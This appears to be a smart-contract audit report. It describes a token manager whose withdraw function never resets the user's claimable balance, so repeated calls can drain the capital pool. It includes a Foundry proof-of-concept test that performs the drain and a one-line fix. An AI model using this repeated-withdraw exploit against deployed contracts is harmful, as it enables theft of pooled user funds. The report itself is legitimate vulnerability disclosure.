Summary
When a user has a claimable balance, he call the withdraw
function (L-137) in the tokenManager
, which transfers the tokens from the capital pool to the msg.sender and calls the approve function in the capital pool, allowing the capital pool to approve itself to transfer the tokens from the capital pool to the sender. However, the claimableBalance don't decrease at all so the user can keep calling the withdraw function until totally draining the protocol.
Vulnerability Details
If a user call the withdraw function the token manager will send all the claimable balance of the user as we can see :
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress ][_tokenBalanceType];
...code
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
But as we can see the claimableBalance is absolutely no set to zero.
Before running the POC you must fix the bug with the allowance that I mentionned in a previous submittion
add this if statement in the withdraw function before the _safe_transfer_from to ensure that the token Manager have enougth allowance :
else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
if (IERC20(_tokenAddress).allowance(capitalPoolAddr, address(this)) < claimAbleAmount) {
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
}
_safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount);
}
you can copy paste this test in the PreMArkets.t.sol file:
function test_withdrawPOC3() public {
mockUSDCToken.mint(address(capitalPool), 3);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(marketPlace, address(mockUSDCToken), 1, 1, 10000, 0, OfferType(0), OfferSettleType(0))
);
address offer1Addr = GenerateAddress.generateOfferAddress(0);
address stock1Addr = GenerateAddress.generateStockAddress(0);
preMarktes.closeOffer(stock1Addr, offer1Addr);
uint256 balanceOfCapitalPoolBefore = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserBefore = mockUSDCToken.balanceOf(user);
uint256 claimableBalanceBefore =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType(4));
vm.stopPrank();
uint256 claimableBalanceAfter =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType(4));
uint256 balanceOfCapitalPoolAfter = mockUSDCToken.balanceOf(address(capitalPool));
uint256 balanceOfUserAfter = mockUSDCToken.balanceOf(user);
assertEq(claimableBalanceBefore, claimableBalanceAfter);
assertEq(balanceOfCapitalPoolAfter, 0);
assertEq(balanceOfUserAfter, balanceOfUserBefore + balanceOfCapitalPoolBefore);
}
Impact
The user can withdraw indefinitely until draining the protocol
Tools Used
Manual Review
Recommendations
Add just this line of code at the end of the withdraw function :
userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
emit Withdraw(_msgSender(), _tokenAddress, _tokenBalanceType, claimAbleAmount);